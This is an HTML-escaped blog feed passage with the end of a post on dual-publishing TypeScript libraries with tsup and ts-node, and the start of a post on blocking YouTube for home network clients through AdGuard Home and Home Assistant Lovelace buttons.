&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;defineConfig&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;([&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;entryPoints: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;src/main.ts&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;src/bin/cli.ts&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;format: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;cjs&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;esm&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;dts: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;minify: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;outDir: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;dist/&apos;&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;clean: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;sourcemap: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;bundle: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;splitting: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;outExtension&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt; (ctx) &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        dts: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.d.ts&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        js: ctx.format &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;cjs&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.cjs&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;treeshake: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;target: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;es2022&apos;&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;platform: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;node&apos;&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;tsconfig: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;./tsconfig.json&apos;&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;cjsInterop: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;keepNames: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;skipNodeModulesBundle: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;tshy&quot;&gt;tshy&lt;/h3&gt;
&lt;p&gt;An alternative to &lt;code&gt;tsup&lt;/code&gt; is &lt;code&gt;tshy&lt;/code&gt;. tshy is much higher-level and opinionated than tsup — it builds CJS and ESM (using &lt;code&gt;tsc&lt;/code&gt;, writes to your package.json, and reads config from package.json &amp;#x26; tsconfig only and is not not intended as a CLI tool or bundler.&lt;/p&gt;
&lt;p&gt;I’ve had friends such as Eric Allam from Trigger.dev who recommended &lt;code&gt;tshy&lt;/code&gt; but I’ve settled on &lt;code&gt;tsup&lt;/code&gt; for now as the balance of control and simplicity is what I’m looking for.&lt;/p&gt;
&lt;h2 id=&quot;typescript-executors&quot;&gt;TypeScript executors&lt;/h2&gt;
&lt;p&gt;You’re likely going to need what’s referred to as &lt;code&gt;TypeScript executors&lt;/code&gt; which are tools that allow you to run TypeScript files ad-hoc, without having to transpile them to JavaScript first as a build step and only then run them. You can think of them as a replacement for &lt;code&gt;node&lt;/code&gt;, since &lt;code&gt;node&lt;/code&gt; doesn’t support TypeScript files out of the box (yet! there’s work in progress there too :-))&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ts-node&lt;/code&gt; - I’ve been using &lt;code&gt;ts-node&lt;/code&gt; for running the tests. I have it set up so that I execute &lt;code&gt;node&lt;/code&gt; and provide it with the &lt;code&gt;--loader tsnode/esm&lt;/code&gt; flag to be able to load TypeScript files.&lt;/p&gt;
&lt;p&gt;Here is an example of &lt;code&gt;ts-node&lt;/code&gt; in my scripts section of &lt;code&gt;package.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;scripts&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;test&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;c8 node --loader ts-node/esm --test __tests__/**&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;test:watch&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;c8 node --loader ts-node/esm --test --watch __tests__/**&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Another option you can consider is &lt;code&gt;tsx&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;template-for-typescript-and-dual-publishing-in-2025&quot;&gt;Template for TypeScript and Dual Publishing in 2025&lt;/h2&gt;
&lt;p&gt;So instead of having to re-configure a project from scratch every time I want to build a new project I’ve managed to get a template going that I can re-use easily.&lt;/p&gt;
&lt;p&gt;It’s a scaffold project that I’m publishing to the npm registry and it’s called &lt;a href=&quot;https://github.com/lirantal/create-node-lib&quot;&gt;create-node-lib&lt;/a&gt;. You can easily scaffold a new project with:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$ npx create-node-lib my-new-lib&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will scaffold a new project with &lt;code&gt;tsup&lt;/code&gt;, TypeScript, &lt;code&gt;ts-node&lt;/code&gt;, coverage, a bunch of useful GitHub Actions and and all the necessary configurations for dual publishing ESM and CJS modules. You can find an example of an already scaffolded project that I use as a testing ground called &lt;a href=&quot;https://github.com/lirantal/baboop&quot;&gt;baboop&lt;/a&gt; which is actually a fun little CLI to pop-up desktop notifications.&lt;/p&gt;</content:encoded></item><item><title>Home Assistant YouTube DNS Blocking with AdGuard and Lovelace Buttons Setup</title><link>https://lirantal.com/blog/home-assistant-youtube-dns-blocking-adguard-lovelace-buttons-setup/</link><guid>https://lirantal.com/blog/home-assistant-youtube-dns-blocking-adguard-lovelace-buttons-setup/</guid><description>How to set up Home Assistant YouTube DNS blocking with AdGuard and Lovelace buttons for a more action friendly interface.</description><pubDate>Tue, 07 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In a prior article I’ve written how to &lt;a href=&quot;/blog/block-lan-clients-from-accessing-youtube-and-other-media-with/&quot;&gt;block client devices in your LAN from accessing YouTube on Home Assistant&lt;/a&gt; but that setup was somewhat clunky because of the switch interface on the Lovelace UI. Since then, I’ve been wanting to move to a more action friendly interface via the Lovelace UI with the help of purpose-specific buttons that can be clicked to toggle the DNS blocking on and off.&lt;/p&gt;
&lt;p&gt;The reason for using buttons instead of a switch is that a switch inherently needs to derive a state to be able to properly send the “on” or “off” state to the AdGuard Home integration. This is because the switch is a binary state and it’s not clear whether the switch is on or off when the Lovelace UI loads. If you aren’t planning to overly complicate the state management via GET requests to the AdGuard integration then we can keep things easier with buttons.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-home-assistant-youtube-dns-blocking-with-lovelace-buttons&quot;&gt;Setting up Home Assistant YouTube DNS blocking with Lovelace Buttons&lt;/h2&gt;
&lt;p&gt;So first thing we need to do is define the command line API calls with &lt;code&gt;curl&lt;/code&gt; via the following &lt;code&gt;configuration.yaml&lt;/code&gt; definition:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;command_line&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;switch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Strict Entertainment Media&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;unique_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;strict_entertainment_media&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;command_on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;curl -X POST -m 10000 -H &quot;content-Type:application/json&quot; -s -u &quot;username:password&quot; http://a0d7b954-adguard:3000/control/clients/update -d &quot;{\&quot;name\&quot;: \&quot;HouseholdPublic\&quot;,\&quot;data\&quot;:{\&quot;name\&quot;:\&quot;HouseholdPublic\&quot;,\&quot;ids\&quot;: [\&quot;192.168.68.52\&quot;, \&quot;192.168.68.50\&quot;, \&quot;192.168.68.61\&quot;, \&quot;192.168.68.51\&quot;,\&quot;192.168.68.58\&quot;],\&quot;tags\&quot;: [],\&quot;upstreams\&quot;: [],\&quot;filtering_enabled\&quot;: true,\&quot;parental_enabled\&quot;: true,\&quot;safebrowsing_enabled\&quot;: true,\&quot;safesearch_enabled\&quot;: true,\&quot;use_global_blocked_services\&quot;: false,\&quot;use_global_settings\&quot;: true, \&quot;blocked_services\&quot;: [\&quot;youtube\&quot;]}}&quot;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;command_off&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;curl -X POST -m 10000 -H &quot;content-Type:application/json&quot; -s -u &quot;username:password&quot; http://a0d7b954-adguard:3000/control/clients/update -d &quot;{\&quot;name\&quot;: \&quot;HouseholdPublic\&quot;,\&quot;data\&quot;:{\&quot;name\&quot;:\&quot;HouseholdPublic\&quot;,\&quot;ids\&quot;: [\&quot;192.168.68.52\&quot;, \&quot;192.168.68.50\&quot;,\&quot;192.168.68.61\&quot;, \&quot;192.168.68.51\&quot;,\&quot;192.168.68.58\&quot;],\&quot;tags\&quot;: [],\&quot;upstreams\&quot;: [],\&quot;filtering_enabled\&quot;: true,\&quot;parental_enabled\&quot;: true,\&quot;safebrowsing_enabled\&quot;: true,\&quot;safesearch_enabled\&quot;: true,\&quot;use_global_blocked_services\&quot;: true,\&quot;use_global_settings\&quot;: true, \&quot;blocked_services\&quot;: []}}&quot;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this setup, I still maintain separate commands for &lt;code&gt;on&lt;/code&gt; and &lt;code&gt;off&lt;/code&gt; state via a so-called switch but we’re going next to create a script for each of these commands that will be used by the Lovelace UI buttons.&lt;/p&gt;
&lt;p&gt;Open up your &lt;code&gt;scripts.yaml&lt;/code&gt; file and add the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;block_youtube&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Block YouTube&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;sequence&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;switch.turn_on&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;switch.strict_entertainment_media&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;unblock_youtube&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;alias&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Unblock YouTube&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;sequence&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;switch.turn_off&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;entity_id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;switch.strict_entertainment_media&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are now service scripts which can be called by the Lovelace UI buttons. Next up, we’re going to create the Lovelace UI buttons.&lt;/p&gt;
&lt;h2 id=&quot;creating-lovelace-ui-buttons-for-youtube-dns-blocking&quot;&gt;Creating Lovelace UI buttons for YouTube DNS blocking&lt;/h2&gt;
&lt;p&gt;We are going to end up with the following buttons layout:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/home-assistant-lovelace-ui-youtube-dns-blocking-buttons.png&quot; alt=&quot;home assistant lovelace UI buttons to block YouTube via DNS&quot;&gt;&lt;/p&gt;
&lt;p&gt;And here is how the visual editor looks like to get that setup:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/home-assistant-lovelace-ui-stacked-buttons.png&quot; alt=&quot;stacked buttons in home assistant lovelace UI&quot;&gt;&lt;/p&gt;
&lt;p&gt;The Lovelace UI configuration for the buttons is as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;horizontal-stack&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;cards&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;show_name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;show_icon&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;type&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;button&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;tap_action&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;action&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;call-service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;service&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;script.block_youtube&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;target&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;icon&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;mdi:youtube&lt;/span&gt;&lt;/span&gt;
